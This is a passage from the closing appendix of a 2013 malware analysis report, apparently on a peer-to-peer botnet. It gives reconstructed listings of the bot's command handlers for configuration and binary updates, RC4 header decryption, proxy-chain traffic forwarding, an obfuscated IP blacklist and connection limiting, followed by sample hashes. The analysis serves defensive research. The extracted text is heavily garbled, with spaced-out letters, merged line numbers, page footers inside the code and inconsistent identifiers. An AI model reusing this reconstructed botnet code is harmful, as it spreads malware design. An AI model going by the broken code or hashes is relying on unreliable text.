25 c h a r r e c Bu f [ s i z eo f ( p 2 p H e a d er ) ] ;26 t m p = n e t O bj . r e c v ( r e c B uf + 5 , s i z e of ( p 2 p H e a d e r ) - 5 , p 2p - > s t o p Ev e n t ) ;27 i f ( t mp = = 0) r e tu r n 0 ;28

29 memcpy(recBuf , tmpBuff , 5);30

31 c r y p tR C 4 R C 4 . t y pe = _ C R Y PT _ R C 4 ;

32 c r y pt : : r c 4 _ c o p y K ey F r o m ( & R C , p 2 p . o w n R c4 K e y ) ;33 c r y pt : : d e c r y p t ( R C4 , r e c Bu f , s i z e of ( p 2 p H e a d e r ) ) ;34

35 p 2 p H ea d e r * h d r = ( p 2 p H e a de r * ) r e c B u f ;36 i f ( h dr - > r a n dB y te == 0 ) r e tu r n 0 ;37 i f ( h dr - > j u n kS i ze != 0 ) r e tu r n 0 ;38

39 netObj.initRemoteKey (hdr->senderID , encryptIN);40 c r y pt : : c o p y K e y R C4 ( n e t O b j . o w nK e y , R C 4 . r c 4 Ke y ) ;41 c md = h dr - > c m d ;

42

43 i n t r e s o ur c e ;44

i f ( cm d = = C MD _ T CP _ x6 4 _ PU S H _C O N F || c m d == C M D _ TC P _ x6 6 _ PU S H_ B I N ) {45 i f ( c md = = C M D_ T C P_ x 6 4_ P US H _ CO N F ) r e so u rc e s = 1 ;

46 i f ( c md = = C M D_ T C P_ x 66 _ P US H _ BI N ) r e so u rc e s = 2 ;47 r e t u rn t h is . r e a d D a t a A n d Up d a t e ( n e tO b j , r e s o ur c e s ) ;48 }

49 i f ( cm d = = C MD _ T CP _ x 68 _ R EQ _ CO N F | | c md = = C M D _T C P _x 6 A_ R E Q_ B I N )50 r e t u rn t h is . h a n d l e D a t a R eq u e s t ( r e cB u f , n e t Ob j ) ;51

52 i f ( cm d = = C M D _T C P _x C 8 _P U S H_ P R OX Y L IS T )53 r e t u rn t h is . p 2 p P r o x y . h a n d l eP u s h L is t ( n e t O b j ) ;54 i f ( c md == C MD _ TC P _ xC C _ PR O X Y_ R E QU E S T )55 r e t u rn t h is . p 2 p P r o x y . f o r w ar d D a t a ( n e t Ob j ) ;

56

57 }58 r e t u rn 0 ;

59 }

Listing 28: TCP main function

1 //.....

2 i f ( n e tO b j . c o n n e ct T o ( & S u p e r No d e A dd r , 1 50 0 0 , s t o p Ev e n t ) ) {3 i f ( n e t O bj . c a l l S e n d ( & p 2 pH e a de r , s i z e of ( p 2 p H e a d e r ) , 3 0 00 0 , st o p E v en t ) {4 i f ( s e n d er . s e n d D a t a ( n et O bj , 3 0 00 0 , s t o p Ev e n t ) ) {

5 r e t u rn 1 ;6 }} }7 //.....

8

9 i n t p r o x Se n d e r : : s e n d Da t a ( n e t C r y pt O b j n e tO b j , i n t t i me o u t , i n t s t o p E ve n t ) {10 i f ( ! t h i s . s e n d _ G E T_ T E S T ( n e tO b j , t i me o ut , s t o p Ev e n t ) )11 r e t u rn 0 ;

34

8/13/2019 2013-06-p2p-rap_en

38/42


12 i f ( ! t h is . t m p B u f )13 r e t u rn 0 ;

14 i f ( ! n e t O b j . c a l l Se n d ( t h i s . t mp B uf , 5 , t i m eo u t , s t o p Ev e n t ) )

15 r e t u rn 0 ;16 c h a r H d r N am e [ 8 ]

17 str::getCryptedA (CSTR_X__ , HdrName);18 c h a r * H d r V al b o t : : g e t I dS t r i ng ( ) ;19 h t t pR e q H T T P ;

20 HTTP.init(this. tmpBuf , this.net_obj , 3);21 i f ( H d r V al ) {22 HTTP.addHeader( HdrName ,HdrVal);23 mem::free(HdrVal);

24 }25 p r o xy : : p u s h D a t a ( t hi s , t i me o ut , s t o pE v e nt , & H T T P ) ;26 i n t s t a t us = H T TP . s t a t u s C o de ;

27 HTTP.uninit();28 r e t u rn s t a tu s ;29 }

Listing 29: HTTP-PROXY data forwarding

1 b o o l p 2 p : : r e a d D at a A n d U pd a t e ( n e t C r y pt O b j n e tO b j , c h a r r e s T yp e ) {2 d a t a St r u c t d a ta ;3 i nt r es ;

4 r e s = n e t O bj . t c p R e a d A l l Da t a ( & d a t a ) ;5 if ( ! res )6 r e tu r n 0

7 r e s = t h i s . u p d a te R e s o ur c e s ( r e s Ty p e , d a t a . d at a P tr , d a t a . d a ta S i z e ) ;8 mem::free(retData.dataPtr);9 netObj.send4bytes(result);

10 r e t u rn r e s ;

11 }

Listing 30: TCP/0x64 and TCP/0x66

1 i n t p 2 p : : h a n d le D a t a Re q ( p 2 p H e a d er * d a ta P tr , n e t C r yp t O b j n e t Ob j ) {

2 p 2 p R e so u r c e * r e s ;3 c h ar * da t aP t r = NU L L ;4 i nt da t aS i ze = 0 ;

5 i nt re su lt = 0 ;6 i f ( d a ta Pt r - > C MD = = C M D _ T CP _ R EQ _ CO N F )7 r e s = & t h i s . r e s C on f i g ;

8 else9 i f ( d at aP tr - > C MD = = C M D _T C P_ R EQ _ B IN )

10 r e s = & t h i s . r e s B in a r y ;11 else

12 r e t u rn 0 ;13 RtlEnterCriticalSection(this.criticalSec);

14 i f ( re s - > da ta Pt r ) {15 d a t aP t r = m e m : : c o py B u f ( r es - > d a t a P tr , re s - > d a t a S i ze ) ;16 d a t a Si z e = r es - > d a t a Si z e ;17 }18 RtlLeaveCriticalSection(this.criticalSec);

19 i f ( da ta Pt r ) {20 i f ( n e tO b j . c a l l S en d ( & d a t aS i z e , s i z eo f ( i n t ) , 3 00 0 0 , t h i s . s t o pE v e n t ) )21 i f ( n e t Ob j . c a l l S e nd ( d a t a Pt r , d a t a Si z e , 3 0 0 00 , t h i s . s t o pE v e n t )

22 r e s u lt = n e t Ob j . c a l l R e cv ( & d a t a Si z e , s i z e of ( i n t ) , t h i s . s t o pE v e n t ) ;23 mem::free(dataPtr);24 r e t u rn r e s ul t ;

25 } e ls e {26 n e t O bj . c a l l S e n d ( & d a ta S i ze , s i z eo f ( i n t ) , 30 0 00 , t h i s . s t o p E v en t ) ;27 r e t u rn 0 ;28 }

35

8/13/2019 2013-06-p2p-rap_en

39/42


29 }

Listing 31: TCP/0x68 and TCP/0x6A

1 i n t p 2 p P ro x y : : h a n d l e Pu s h L i s t ( n e t C ry p t O b j * n e t O b j ) {2 d a t a St r u c t d a ta ;3 i nt re su lt = -1

4 b a s e Co n f i g C O NF ;5 i n t t i c k Co u n t = Ge t T i c kC o u n t ( ) ;6 i f ( ! n e t O b j . c a l l S en d ( & t i c k Co u n t , s i z eo f ( i n t ) , 3 0 0 0 0 , t h i s . s t o p E v e nt ) )

7 r e t u rn 0 ;8 i f ( ! n e t Ob j . t c p R e a d A l lD a t a ( & d a t a ) )9 r e t u rn 0 ;

10 i n t sL e n = r e s o ur c e : : v e r i f y S ig n a t u r e1 ( p t r [ 0 ] , p tr [ 1 ] ) ;11 i f ( sL en = =0 )12 g o t o _ F R EE 1 ;13 getBaseConfig(&CONF);

14 s t o ra g e * s o tr ;15 i nt s i ze = d at a . da ta Si ze - s Le n ;16 s t o r = s t o r ag e : : d e c r y pt ( d a t a . d a t aP t r , s i z e , C O N F . r c4 K ey , _ M A K E _C O P Y ) ;

17 i f ( ! s to r ) go to _ F RE E 1 ;18 i f ( s o t r - > d a t aP t r - > h e d e r . v e r si o n ! = t i c k Co u n t )19 g o t o _ F R EE 2 ;20 S t o r a ge I t e m * i t e m 20 0 ;

21 i t e m2 0 0 = st o r a ge : : f i n d B y I D A nd T y p e ( s ot r , 2 00 , 0 ) ;22 i f ( ! it em 20 0 ) g ot o _ FR EE 2 ;23 S t o r a ge I t e m * i t e m 10 0 ;

24 i t e m1 0 0 = st o r a ge : : f i n d B y I D A nd T y p e ( s t or 1 , 1 0 0 , 0) ;25 i f ( ! it em 10 0 ) g ot o _ FR EE 2 ;26

27 if (item100 ->header. uncSize!=0&&item200 ->header. uncSize!=0) {

28 r e s ul t = t h i s . i n i t Fr o m S t or a g e ( s t o r ) ;29 } e ls e {30

this.clearProxyList();31 r e g : : S e t E nt r y B y ID ( 0 x 9 9u , N U LL , 0 ) ; / / e m p ty32 r e g : : S e t E nt r y B y ID ( 0 x 9 8u , N U LL , 0 ) ; / / e m p ty33 r es ul t = 1 ;

34 }35 _FREE2:36 mem::free(stor->dataPtr);37 mem::free(stor);

38 _FREE1:39 mem::free(data.dataPtr);40 netObj.send4bytes(result);

41 r e t u rn ( r e s u lt = = 1 ) ;42 }

Listing 32: TCP/0xC8

1 i n t p r o x y : : f o r w a r dD a t a ( n e t C r y pt O b j c l i C on n ) {2 int i = 0;3 v o i d * s t o p Ev e n t = th i s . p 2 p bj . s t o p E v e n t ;4 n e t C r yp t O b j n e w Co n n ;

5 w hi le ( 1 ) {6 s o c k ad d r P r o x Ad d r ;7 i f ( ! t hi s . s e le c tN e w Pr o xy ( & p r ox E nt r y ) ) r e tu r n 0;

8 i f ( t h is . g e t E n t r y S o ck a d d r ( & p r o x E nt r y . d a ta , & P r ox A d d r ) ) {9 newConn.init( proxEntry.data. netType ,1);

10 i f ( ! n ew C o n n . c o n ne c t T o ( & P r ox A d dr , C O N N_ T I ME O U T , s t o p E ve n t ) )

11 newConn.shutdown();12 else13 b r ea k ; / / f o un d g oo d p r ox y14 }

36

8/13/2019 2013-06-p2p-rap_en

40/42


15 t h i s . u p d a te E n t r y St a t s ( & p r o xE n t ry , 1 ) ;16 if ( ++ i >= 3 )

17 r e t u rn 0 ;

18 }19

20 H t t p Pr o x y h t t p ;21 c h a r h e a d e rN a m e [ 1 2 ];22 c h a r s t r C l iA d d r [ 4 8 ];

23 s o c k ad d r C l i A dd r ;24 i nt st at us = 0 ;25

26 i f ( c l iC o nn != NU LL ) {

27 s t r : : g e t Cr y p t e dW ( C S T R _ _ X _R e a l _I P _ , h e ad e r N am e ) ;28 h t t p . i ni t ( 0 , c l i Co n n , 1 ) ;29 i f ( n e t Ob j . g e t P e e r A dd r ( & C l i A d d r ) )

30 i f ( n e t : : a d d rT o S t r A ( & C li A dd r , s t r C l iA d d r ) )31 http.addHeader( headerName , strCliAddr);32 s t a t us = t h is . p u s h H t t p ( n ew C o nn , c l iC o nn , P R O XY _ T I ME O U T , s t o pE v e nt , h t t p ) ;33 http.uninit();

34 } e ls e {35 s t a t us = n e w C on n . r e a d A l l Da t a ( s t o p E v en t ) ;36 }

37 this.updateListTimes (&proxEntry , 0);38 newConn.shutdown();39 r e t u rn s t a tu s ;

40 }

Listing 33: Data forwarding over p2p-proxy chain

1 c h a r b a n l i s t : : i s A d d rB l a c k l is t e d ( s o c k a dd r * s a , c h a r f l a g ) {

2 i f ( s a - > sa _ fa m il y = = A F_ I NE T ) {

3 int i = 0;4 i nt KE Y = 0 x 5 B 38 B 65 D ; / / z m ie n ny k lu cz5

w hi le ( i < 22 ) {6 D W OR D n et = s t at i c Bl a ck l is t [ i ]. n e t ^ K EY ;7 D W OR D m a sk = s t a ti c Bl a ck l i st [ i ] . ma s k ^ K EY ;8 i f ( n et = = ( sa - > IP v4 & m as k ) )

9 r e t u rn 1 ;10 ++i;11 }12 }

13 r e t u rn t h is . l i m i t C o n n ( sa , f l a g ) ; / / ne w14 }

Listing 34: Blacklist

1 i n t b a n l i s t : : l i m i tC o n n ( s o c k a dd r * s a , c h a r o n l y C h e ck ) {2 i n t S A S i ze ;

3 v o i d * S A d a ta ;4 i n t ne t T y pe = n e t : : T y p e Fr o m F a mi l y ( s a - > s a _ f a mi l y ) ;5 i n t c u r Ti m e = Ge t T i c kC o u n t ( ) ;6 i nt fo un d = 0 ;7 i f ( n et Ty pe = = 1) {

8 s a Si z e = 4 ;9 s a Ad d r = s a - > sa _ da t a + 2 ;

10 }

11 i f ( n e tT y pe == 2) {12 s a Si z e = 1 6;13 s a Ad d r = s a - > sa _ da t a + 6 ;

14 }15 l i st E le m en t el = N UL L ;16 i f ( t h is . e lC nt > 0 ) { / / s e ar ch e le me nt17 int j = 0 ;

37

8/13/2019 2013-06-p2p-rap_en

41/42


18 w hi le ( j < t hi s. el Cn t ) {19 e l = t h is . e l e m e n t s [ j ] ;

20 i f ( el - > n et Ty pe = = n et Ty pe ) {

21 i f ( m e mc m p ( e l - > ad d r , s a Ad d r , s a Si z e ) = =0 ) {22 f ou nd = 1 ;

23 break;24 }25 }

26 }27 j++;28 }29 i f ( ! f ou n d ) {

30 i f ( o nl yC he ck )31 r e t u rn 0 ;32 i f ( t hi s . el Cn t > = 2 00 0 u )

33 this.removeElementAt(0);34 e l = t h is . a d d E l e m e nt ( ) ;35 e l - > n e t T yp e = n e t Ty p e ;36 e l - > ti m e = c u rT i me ;

37 e l - > co u nt e r = 1 ;38 m e m c py ( e l - > a d d r , sa A dd r , s a Si z e );39 r e t u rn 0 ;

40 } e ls e {41 i f ( e l. c ou nt er = = -1 )42 r e t u rn 1 ;

43 i f ( o nl yC he ck )44 r e t u rn 0 ;45 i nt i t em T im e = e l - > ti me ;46 p o in t er - > t i m e = c u r Ti m e ;

47 i f ( ( cu rT im e - it em Ti me ) > = 6 00 00 ) {48 e l - > co u nt e r = 1 ;49 r e t u rn 0 ;

50 }51 e l - > c o u n te r + + ;52

i f ( el - > co un te r > 10 ) {53 el - > c ou nt er = - 1; / / B AN !

54 r e t u rn 1 ;55 }56 r e t u rn 0 ;

57 }58 }

Listing 35: New connection limitation

1 b o o l p e e r l i s t : : f i nd I P ( p e e r E nt r y * P e er ) {2 i f ( t h i s . f i n d IP v 4 M a sk ( P e e r - > I P v 4 ) > 0 )3 r e t u rn 1 ;

4 i f ( t h i s . f i n dI P v 6 ( P ee r - > I P v 6 ) > 0 )5 r e t u rn 1 ;

6 r e t u rn 0 ;7 }8

9 i n t p e e r l i st : : f i n d I P v 4 ( i nt I P v4 ) {10 i nt m a s ke d IP = I P v4 & 0 x F0 F FF F ;

11 i nt fo un d = 0 ;12 int i = 0;13 i f ( th is . e lC ou nt = = 0 )

14 r e t u rn 0 ;15 do {16 i f ( ( t h is . e l em e nt s [ i ]. I P v4 & 0 x F0 F FF F ) == m a sk e dI P )

17 f ou nd + + ;18 i++;19 } w hi le ( i < t hi s . el Co un t ) ;20 r e t u rn f o u nd ;

38

8/13/2019 2013-06-p2p-rap_en

42/42


21 }22

23 i n t p e e r l i st : : f i n d I P v 6 ( c h ar * I P v 6 ) {

24 i nt fo un d = 0 ;25 i nt i = 0;

26 i f ( t hi s . e lC o un t == 0)27 r e t u rn 0 ;28 do {

29 i f ( m em cm p ( I Pv 6 , t hi s . el em en ts [ i ]. I Pv 6 , 16 ) = = 0 )30 f o u nd + + ;31 i ++32 } w hi le ( i < t hi s . el Co un t ) ;

33 r e t u rn f o u nd ;34 }

Listing 36: IP address lookup

10 MD5 and SHA1 of recent samples

1 file md5 sha12 b in - 2 0 1 2 - 1 1 - 0 7 2 9 9 4 26 4 3 d 3 5 d 1 4 4 9 1 e 91 4 a b e 9 b c7 6 3 0 1 f 4 d 6 0 7 b c a9 3 6 a 8 2 9 3 b1 8 c 5 2 f c 5 d3 4 6 9 c 9 1 3 65 c 3 7

3 b in - 2 0 1 3 - 0 1 - 2 0 9 e a 4 d 2 8 9 5 2 b 94 1 b e 2 a 6 d 8f 5 8 8 b f 5 56 c 8 8 5 9 8 a 2 1 9 e 9 02 4 0 0 3 a 1 a df 6 d f a 4 e 0 f4 4 5 5 e 3 d 1 91 14 b in - 2 0 1 3 - 0 2 - 0 5 f f f b 9 7 2 b4 6 c 8 5 2 d 4e 2 3 a 8 1 f 3 9f 8 d f 1 1 b f 3 9 3 7 6 2 f 7c 8 5 c 0 f 2 1 f3 e 0 c 6 f 7 f 94 c 1 c 2 8 4 1 6f 0 a 35 b in - 2 0 1 3 - 0 3 - 1 6 c a c d 2 c b 90 a a 1 4 4 2 f2 9 f f 5 d 5 4 28 4 7 b 8 1 7 e b 4 7 f a 1 b 8a b 4 6 f b 3 9 14 1 c b c b 3 c c9 6 9 1 5 f 9 f 20 2 2 e6 b in - 2 0 1 3 - 0 3 - 1 9 9 5 9 b 8 e 1 e c 1 a5 3 b e e 2 8 0 28 2 f 4 5 e 9 25 7 e 3 e 0 b a 0 6 7 1 19 5 4 c b 4 6 a 45 3 a a a e c f 75 2 e 8 4 9 5 d a4 0 7 a

7 b in - 2 0 1 3 - 0 3 - 2 2 7 c 4 f d c a f 1 a 9 a0 2 3 a 8 5 9 0 5f 9 7 b 1 d 7 12 a b 1 8 b f 5 0 e 5 a d 2 d7 4 0 4 f 0 d 4 5e 9 2 7 1 3 6 d d9 d f 6 c a 4 0 c28 b in - 2 0 1 3 - 0 4 - 0 9 1 c 5 4 0 4 1 6 1 4 b cd 3 2 6 a 7 d 4 03 d c 0 7 b 2 55 2 6 d 8 a a 5 b f 5 d2 1 5 d 2 1 1 7 ce 2 c 8 9 c 3 1 55 1 0 5 4 0 2 e a0 f 7 79 b in - 2 0 1 3 - 0 4 - 1 7 c 9 9 0 5 0 e b5 b e d 9 8 8 24 d 3 f e f 1 e 7c 4 8 2 4 b 5 0 a f 9 4 7 d 0 f 8 9 4 f bd 1 1 7 d a 3 e 2e 5 c f 8 5 9 a a4 7 f 0 7 6 e c

Listing 37: MD5 and SHA1

Documents

2013-06-p2p-rap_en